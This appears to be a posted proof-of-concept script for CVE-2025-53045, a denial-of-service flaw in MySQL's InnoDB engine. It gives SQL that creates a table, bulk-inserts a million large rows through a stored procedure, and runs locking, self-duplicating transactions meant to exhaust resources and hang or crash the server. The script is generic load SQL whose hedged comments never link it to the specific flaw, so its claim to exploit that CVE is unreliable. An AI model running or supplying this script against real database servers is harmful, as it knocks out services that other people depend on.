CVE-2025-53045 Oracle MySQL Server InnoDB组件拒绝服务漏洞

-- PoC for CVE-2025-53045: Oracle MySQL InnoDB DoS Vulnerability -- Note: This vulnerability requires high-privileged access to exploit -- The PoC demonstrates triggering InnoDB resource exhaustion via crafted operations -- Step 1: Connect to MySQL with high-privilege credentials -- mysql -u root -p -- Step 2: Create a test database and table using InnoDB engine CREATE DATABASE IF NOT EXISTS cve_test_db; USE cve_test_db; CREATE TABLE t1 ( id INT AUTO_INCREMENT PRIMARY KEY, data LONGTEXT, index_idx INT, INDEX idx_data (data(255)), INDEX idx_index (index_idx) ) ENGINE=InnoDB; -- Step 3: Insert large amount of data to stress InnoDB DELIMITER $$ CREATE PROCEDURE stress_innodb() BEGIN DECLARE i INT DEFAULT 0; WHILE i < 1000000 DO INSERT INTO t1 (data, index_idx) VALUES (REPEAT('A', 1024), i); SET i = i + 1; END WHILE; END$$ DELIMITER ; -- Step 4: Trigger the vulnerability via crafted transaction operations -- This may cause InnoDB internal state corruption leading to hang/crash START TRANSACTION; SELECT * FROM t1 WHERE data LIKE '%AAAA%' FOR UPDATE; -- Perform concurrent operations to trigger the bug INSERT INTO t1 (data, index_idx) SELECT data, index_idx FROM t1; ROLLBACK; -- Step 5: Repeat operations to cause denial of service -- The server may hang or crash due to InnoDB resource exhaustion CALL stress_innodb();